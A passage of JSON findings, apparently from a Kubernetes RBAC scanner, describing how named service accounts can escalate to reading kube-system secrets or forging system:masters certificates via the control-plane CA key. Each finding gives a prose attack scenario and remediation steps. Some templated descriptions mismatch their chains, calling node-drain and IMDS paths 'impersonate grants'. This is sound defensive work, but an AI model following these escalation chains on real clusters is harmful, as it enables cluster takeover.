        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "token_request",
        "technique": "KUBE-PRIVESC-014",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-token-create",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-reader",
          "namespace": "foothold-exec"
        },
        "permission": "create serviceaccounts/token",
        "gains": "can mint tokens for ServiceAccount foothold-exec/foothold-reader",
        "source_binding": "crb-token-create",
        "source_role": "cr-token-create"
      },
      {
        "step": 2,
        "action": "read_secrets",
        "technique": "KUBE-PRIVESC-005",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-reader",
          "namespace": "foothold-exec"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "get,list secrets",
        "gains": "can read secrets in kube-system or cluster-wide",
        "source_binding": "foothold-reader-secrets",
        "source_role": "foothold-reader-secrets",
        "binding_namespace": "kube-system"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.2",
        "title": "Minimize access to secrets",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:kube_system_secrets"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS:ServiceAccount/cert-manager/cert-manager:system_masters",
    "rule_id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS",
    "severity": "HIGH",
    "score": 8.299999999999999,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/cert-manager/cert-manager` can impersonate **`system:masters`** in 2 hop(s), bypassing all RBAC",
    "description": "Subject `ServiceAccount/cert-manager/cert-manager` can chain into the ability to impersonate the `system:masters` group. `system:masters` is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants `system:masters` reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with `O=system:masters` skips authorization entirely).\n\nThe chain (2 hop(s); each step is an RBAC verb the engine validated):\n  1. `ServiceAccount/cert-manager/cert-manager` → `/` via `node_drain_migrate` (delete pods + update nodes/status): can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation\n  2. `ServiceAccount/cert-manager/cert-manager` → `/` via `control_plane_pki_theft` (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline\n\nImpersonation of `system:masters` is the rarest but most severe finding type. Most clusters do not give workload SAs `impersonate users/groups` because `system:masters` is the pathological consequence: a single `impersonate` grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "cert-manager",
      "namespace": "cert-manager"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/cert-manager/cert-manager` → `system:masters`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Impersonating `system:masters` bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the `impersonate` audit annotation.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/cert-manager/cert-manager`.",
      "Acting as `ServiceAccount/cert-manager/cert-manager`, the attacker uses the `node_drain_migrate` technique via `delete pods + update nodes/status`, which gains can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation.",
      "Acting as `ServiceAccount/cert-manager/cert-manager`, the attacker uses the `control_plane_pki_theft` technique via `root on a schedulable control-plane node`, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.",
      "Final step: attacker can impersonate group `system:masters`. The kube-apiserver short-circuits authorization for `system:masters` via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator."
    ],
    "evidence": {
      "chain_summary": [
        "1. node_drain_migrate [delete pods + update nodes/status]",
        "2. control_plane_pki_theft [root on a schedulable control-plane node]"
      ],
      "first_action": "node_drain_migrate",
      "hop_count": 2,
      "target": "system_masters",
      "target_namespace": "",
      "techniques": [
        "node_drain_migrate",
        "control_plane_pki_theft"
      ]
    },
    "remediation": "Remove every `impersonate` grant on a path to `system:masters`. Concretely: remove the permission `delete pods + update nodes/status` that enables the first hop (`ServiceAccount/cert-manager/cert-manager` → `/`).",
    "remediation_steps": [
      "List subjects with impersonate: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"User\" or .kind == \"Group\" or .kind == \"ServiceAccount\") | .metadata.name + \" → \" + (.roleRef.name)'` then check each role's rules for `impersonate`.",
      "Almost no production workload genuinely needs `impersonate users/groups`. Kubectl plugins/dashboards that *do* need it should use `kubectl --as=...` from a human admin's session, not a workload SA.",
      "Break the chain: remove the permission `delete pods + update nodes/status` that enables the first hop (`ServiceAccount/cert-manager/cert-manager` → `/`).",
      "For kubectl-as-a-service workloads, scope the impersonation with `resourceNames: [\u003callowed-user\u003e]` to a fixed allowlist of principals; *never* `users: [*]` or `groups: [*]`.",
      "Wire admission policy: a Kyverno rule that fails any RoleBinding granting `impersonate` to a non-system subject without an explicit `resourceNames` carve-out."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "node_drain_migrate",
        "technique": "KUBE-PRIVESC-016",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cert-manager",
          "namespace": "cert-manager"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "delete pods + update nodes/status",
        "gains": "can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation"
      },
      {
        "step": 2,
        "action": "control_plane_pki_theft",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cert-manager",
          "namespace": "cert-manager"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "root on a schedulable control-plane node",
        "gains": "can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:system_masters"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS:ServiceAccount/cloud-eks-test/default:system_masters",
    "rule_id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS",
    "severity": "HIGH",
    "score": 8.299999999999999,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/cloud-eks-test/default` can impersonate **`system:masters`** in 2 hop(s), bypassing all RBAC",
    "description": "Subject `ServiceAccount/cloud-eks-test/default` can chain into the ability to impersonate the `system:masters` group. `system:masters` is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants `system:masters` reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with `O=system:masters` skips authorization entirely).\n\nThe chain (2 hop(s); each step is an RBAC verb the engine validated):\n  1. `ServiceAccount/cloud-eks-test/default` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod cloud-eks-test/imds-pivot-app-68cfbfc794-452d5 falls back to node IAM role via IMDS\n  2. `ServiceAccount/cloud-eks-test/default` → `/` via `control_plane_pki_theft` (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline\n\nImpersonation of `system:masters` is the rarest but most severe finding type. Most clusters do not give workload SAs `impersonate users/groups` because `system:masters` is the pathological consequence: a single `impersonate` grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "default",
      "namespace": "cloud-eks-test"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/cloud-eks-test/default` → `system:masters`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Impersonating `system:masters` bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the `impersonate` audit annotation.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/cloud-eks-test/default`.",
      "Acting as `ServiceAccount/cloud-eks-test/default`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod cloud-eks-test/imds-pivot-app-68cfbfc794-452d5 falls back to node IAM role via IMDS.",
      "Acting as `ServiceAccount/cloud-eks-test/default`, the attacker uses the `control_plane_pki_theft` technique via `root on a schedulable control-plane node`, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.",
      "Final step: attacker can impersonate group `system:masters`. The kube-apiserver short-circuits authorization for `system:masters` via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator."
    ],
    "evidence": {
      "chain_summary": [
        "1. imds_node_role_pivot [IMDS reachable, IRSA unbound]",
        "2. control_plane_pki_theft [root on a schedulable control-plane node]"
      ],
      "first_action": "imds_node_role_pivot",
      "hop_count": 2,
      "target": "system_masters",
      "target_namespace": "",
      "techniques": [
        "imds_node_role_pivot",
        "control_plane_pki_theft"
      ]
    },
    "remediation": "Remove every `impersonate` grant on a path to `system:masters`. Concretely: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/cloud-eks-test/default` → `/`).",
    "remediation_steps": [
      "List subjects with impersonate: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"User\" or .kind == \"Group\" or .kind == \"ServiceAccount\") | .metadata.name + \" → \" + (.roleRef.name)'` then check each role's rules for `impersonate`.",
      "Almost no production workload genuinely needs `impersonate users/groups`. Kubectl plugins/dashboards that *do* need it should use `kubectl --as=...` from a human admin's session, not a workload SA.",
      "Break the chain: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/cloud-eks-test/default` → `/`).",
      "For kubectl-as-a-service workloads, scope the impersonation with `resourceNames: [\u003callowed-user\u003e]` to a fixed allowlist of principals; *never* `users: [*]` or `groups: [*]`.",
      "Wire admission policy: a Kyverno rule that fails any RoleBinding granting `impersonate` to a non-system subject without an explicit `resourceNames` carve-out."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "default",
          "namespace": "cloud-eks-test"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod cloud-eks-test/imds-pivot-app-68cfbfc794-452d5 falls back to node IAM role via IMDS"
      },
      {
        "step": 2,
        "action": "control_plane_pki_theft",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "default",
          "namespace": "cloud-eks-test"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "root on a schedulable control-plane node",
        "gains": "can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:system_masters"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS:ServiceAccount/containersec-fixtures/default:system_masters",
    "rule_id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS",
    "severity": "HIGH",
    "score": 8.299999999999999,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/containersec-fixtures/default` can impersonate **`system:masters`** in 2 hop(s), bypassing all RBAC",
    "description": "Subject `ServiceAccount/containersec-fixtures/default` can chain into the ability to impersonate the `system:masters` group. `system:masters` is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants `system:masters` reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with `O=system:masters` skips authorization entirely).\n\nThe chain (2 hop(s); each step is an RBAC verb the engine validated):\n  1. `ServiceAccount/containersec-fixtures/default` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod containersec-fixtures/containersec-image-64d6ddbdbd-8c775 falls back to node IAM role via IMDS\n  2. `ServiceAccount/containersec-fixtures/default` → `/` via `control_plane_pki_theft` (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline\n\nImpersonation of `system:masters` is the rarest but most severe finding type. Most clusters do not give workload SAs `impersonate users/groups` because `system:masters` is the pathological consequence: a single `impersonate` grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "default",
      "namespace": "containersec-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/containersec-fixtures/default` → `system:masters`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Impersonating `system:masters` bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the `impersonate` audit annotation.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/containersec-fixtures/default`.",
      "Acting as `ServiceAccount/containersec-fixtures/default`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod containersec-fixtures/containersec-image-64d6ddbdbd-8c775 falls back to node IAM role via IMDS.",
      "Acting as `ServiceAccount/containersec-fixtures/default`, the attacker uses the `control_plane_pki_theft` technique via `root on a schedulable control-plane node`, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.",
      "Final step: attacker can impersonate group `system:masters`. The kube-apiserver short-circuits authorization for `system:masters` via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator."
    ],
    "evidence": {
      "chain_summary": [
        "1. imds_node_role_pivot [IMDS reachable, IRSA unbound]",
        "2. control_plane_pki_theft [root on a schedulable control-plane node]"
      ],
      "first_action": "imds_node_role_pivot",
      "hop_count": 2,
      "target": "system_masters",
      "target_namespace": "",
      "techniques": [
        "imds_node_role_pivot",
        "control_plane_pki_theft"
      ]
    },
    "remediation": "Remove every `impersonate` grant on a path to `system:masters`. Concretely: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/containersec-fixtures/default` → `/`).",
    "remediation_steps": [
      "List subjects with impersonate: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"User\" or .kind == \"Group\" or .kind == \"ServiceAccount\") | .metadata.name + \" → \" + (.roleRef.name)'` then check each role's rules for `impersonate`.",
      "Almost no production workload genuinely needs `impersonate users/groups`. Kubectl plugins/dashboards that *do* need it should use `kubectl --as=...` from a human admin's session, not a workload SA.",
      "Break the chain: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/containersec-fixtures/default` → `/`).",
      "For kubectl-as-a-service workloads, scope the impersonation with `resourceNames: [\u003callowed-user\u003e]` to a fixed allowlist of principals; *never* `users: [*]` or `groups: [*]`.",
      "Wire admission policy: a Kyverno rule that fails any RoleBinding granting `impersonate` to a non-system subject without an explicit `resourceNames` carve-out."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "default",
          "namespace": "containersec-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod containersec-fixtures/containersec-image-64d6ddbdbd-8c775 falls back to node IAM role via IMDS"
      },
      {
        "step": 2,
        "action": "control_plane_pki_theft",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "default",
          "namespace": "containersec-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "root on a schedulable control-plane node",
        "gains": "can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:system_masters"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS:ServiceAccount/cutres/cutres-detour:system_masters",
    "rule_id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS",
    "severity": "HIGH",
    "score": 8.299999999999999,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/cutres/cutres-detour` can impersonate **`system:masters`** in 2 hop(s), bypassing all RBAC",
    "description": "Subject `ServiceAccount/cutres/cutres-detour` can chain into the ability to impersonate the `system:masters` group. `system:masters` is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants `system:masters` reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with `O=system:masters` skips authorization entirely).\n\nThe chain (2 hop(s); each step is an RBAC verb the engine validated):\n  1. `ServiceAccount/cutres/cutres-detour` → `/` via `node_drain_migrate` (delete pods + update nodes/status): can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation\n  2. `ServiceAccount/cutres/cutres-detour` → `/` via `control_plane_pki_theft` (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline\n\nImpersonation of `system:masters` is the rarest but most severe finding type. Most clusters do not give workload SAs `impersonate users/groups` because `system:masters` is the pathological consequence: a single `impersonate` grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "cutres-detour",
      "namespace": "cutres"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/cutres/cutres-detour` → `system:masters`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Impersonating `system:masters` bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the `impersonate` audit annotation.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/cutres/cutres-detour`.",
      "Acting as `ServiceAccount/cutres/cutres-detour`, the attacker uses the `node_drain_migrate` technique via `delete pods + update nodes/status`, which gains can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation.",
      "Acting as `ServiceAccount/cutres/cutres-detour`, the attacker uses the `control_plane_pki_theft` technique via `root on a schedulable control-plane node`, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.",
      "Final step: attacker can impersonate group `system:masters`. The kube-apiserver short-circuits authorization for `system:masters` via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator."
    ],
    "evidence": {
      "chain_summary": [
        "1. node_drain_migrate [delete pods + update nodes/status]",
        "2. control_plane_pki_theft [root on a schedulable control-plane node]"
      ],
      "first_action": "node_drain_migrate",
      "hop_count": 2,
      "target": "system_masters",
      "target_namespace": "",
      "techniques": [
        "node_drain_migrate",
        "control_plane_pki_theft"
      ]
    },
    "remediation": "Remove every `impersonate` grant on a path to `system:masters`. Concretely: remove the permission `delete pods + update nodes/status` that enables the first hop (`ServiceAccount/cutres/cutres-detour` → `/`).",
    "remediation_steps": [
      "List subjects with impersonate: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"User\" or .kind == \"Group\" or .kind == \"ServiceAccount\") | .metadata.name + \" → \" + (.roleRef.name)'` then check each role's rules for `impersonate`.",
      "Almost no production workload genuinely needs `impersonate users/groups`. Kubectl plugins/dashboards that *do* need it should use `kubectl --as=...` from a human admin's session, not a workload SA.",
      "Break the chain: remove the permission `delete pods + update nodes/status` that enables the first hop (`ServiceAccount/cutres/cutres-detour` → `/`).",
      "For kubectl-as-a-service workloads, scope the impersonation with `resourceNames: [\u003callowed-user\u003e]` to a fixed allowlist of principals; *never* `users: [*]` or `groups: [*]`.",
      "Wire admission policy: a Kyverno rule that fails any RoleBinding granting `impersonate` to a non-system subject without an explicit `resourceNames` carve-out."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "node_drain_migrate",
        "technique": "KUBE-PRIVESC-016",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cutres-detour",
          "namespace": "cutres"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "delete pods + update nodes/status",
        "gains": "can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation"
      },
      {
        "step": 2,
        "action": "control_plane_pki_theft",
